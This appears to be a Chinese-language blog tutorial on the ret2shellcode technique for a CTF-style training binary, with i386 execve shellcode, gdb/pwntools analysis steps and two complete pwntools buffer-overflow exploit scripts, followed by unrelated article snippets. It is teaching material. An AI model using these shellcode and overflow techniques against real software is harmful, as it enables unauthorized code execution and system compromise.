Ret2shellcode和NX保護機制

2021-10-22 16:14:22 字數 3592 閱讀 8286

ret2text漏洞利用依賴於程式中存在執行system(「/bin/sh」)的函式,如果沒有這個函式,怎麼辦呢?

沒有執行shell的函式,沒有開啟nx保護

我們需要傳入自定義shellcode,這就利用方式就是ret2shellcode

shellcode是黑客編寫的用於實行特定功能的彙編**,通常是開啟乙個shell

例如:(linux系統下)

execve(「/bin/sh」,null,null);

彙編**展示

push 0x68

push 0x73f2f2f

push 0x6e69622f

mov ebx,esp

xor ecx,ecx

xor edx,edx

push 11

pop eax

int 0x80

push 0x68

push 0x73f2f2f

push 0x6e69622f #前面三個引數是bin/sh的端儲存,為hs///nib

mov ebx,esp #esp為第乙個引數,也就是上面入站的引數,放入ebx中

xor ecx,ecx

xor edx,edx #這兩個指令是將ecx和edx置為零,異或,相同為0,不同為1

push 11

pop eax #系統呼叫號,將11放入eax

int 0x80

2pwntools自動生成

1先指定context.arch=「i386/amd64」

2.asm(自定義shellcode)

s=asm(「」」

push 0x68

push 0x73f2f2f

push 0x6e69622f

mov ebx,esp

xor ecx,ecx

xor edx,edx

push 11

pop eax

int 0x80

」」」)

3.asm(shellcraft.sh())自動生成shellcode

s1=asm(shellcraft.sh(

))p.sendline(s1)

深入理解nx保護

nx(又稱dep)資料執行保護。可寫的不可執行,可執行的不可寫

例子1先用checksec命令檢查保護機制,發現無保護

2然後使用objdump –d ret2shellcode |grep system

檢視是否有系統函式,發現沒有

然後上pwngdb除錯,用disass main反彙編檢視main函式

這裡上面那個方框中的是puts函式的引數,

可以用x/s 0x8048660或者p 0x8048660命令檢視引數為

繼續分析

我們可以看到關鍵函式gets函式,第乙個引數是目的位址,第二個引數是複製內容,第三個引數為複製的大小

我們可以看一下拷貝的目的位址

還未操作,所以為空

然後我們就可以整理一下思路,程式的功能,先輸出乙個內容,然後用gets寫入內容,最後printf輸出內容

3利用原理:

我們利用strncpy的功能將輸入的shellcode傳輸到複製的位址中(也就是0x804a080中)

然後我們將返回的位址覆蓋為0x804a080那我們就能得到shell了

這裡我們還需要知道0x804a080所在段是否有執行許可權,他必須有執行許可權,輸入的shellcode才能執行,

怎麼判斷所在段是否有執行許可權呢?如下

用gdb外掛程式peda中:readelf 或者

shell:readelf -s +檔名(注意大小寫,一定是大s)

發現所在位址的段是.bss

4. 檢視這個段有沒有執行許可權

gdb中在main下個斷點,然後讓程式跑起來,再使用vmmap命令檢視段的許可權

在這個段中有執行許可權,所以這一步就完成了

5. 檢視溢位點

在pwndbg中用cyclic 200 生成200個字元,然後執行程式r

將200個字元輸入其中,停下來後發現有錯誤位址,也就是溢位點

6. 計算偏移

用cyclic –l 0x62616164計算出偏移offset為112

寫exp,

自動生成的shellcode

from pwn import *

context(arch=

"i386",os=

"linux"

)#必須要有的

p = process(

"./ret2shellcode2"

)shellcode = asm(shellcraft.sh(

))payload = shellcode.ljust(112,"a"

) + p32(0x804a080

p.sendline(payload)

p.interactive(

)

手動生成的shellcode

from pwn import *

context(arch=

"i386",os=

"linux",log_level=

"debug"

)p = process(

"./ret2shellcode2"

)shellcode=asm("""

push 0x68

push 0x73f2f2f

push 0x6e69622f

mov ebx,esp

xor ecx,ecx

xor edx,edx

push 11

pop eax

int 0x80"""

)payload = shellcode.ljust(112,"a"

) + p32(0x804a080)

p.sendline(payload)

p.interactive(

)

與ret2shellcode的初相識

發現freebuf的網名好像不可以修改,後悔當時隨便起的這個名字了!害 ret2shellcode,也就是return to shellcode,在執行完某個函式之後,跳到shellcode上,達到get shell的目的。ret2shellcode關鍵在於我們找到乙個可讀可寫可執行的緩衝區,接下來...

n2n的編譯和執行 配置

交叉編譯 cmake dcmake toolchain file cmake cmaketoolchainfilemingw32.cmake build 1.n2n 基於p2p的內網穿透方案。2.ubuntu linux下編譯 git clone apt get install cmake libs...

N皇后問題和2N皇后問題(深搜)

在n n的方格棋盤放置了n個皇后,使得它們不相互攻擊 即任意2個皇后不允許處在同一排,同一列,也不允許處在與棋盤邊框成45角的斜線上。你的任務是,對於給定的n,求出有多少種合法的放置方法。input 共有若干行,每行乙個正整數n 10,表示棋盤和皇后的數量 如果n 0,表示結束。output 共有若...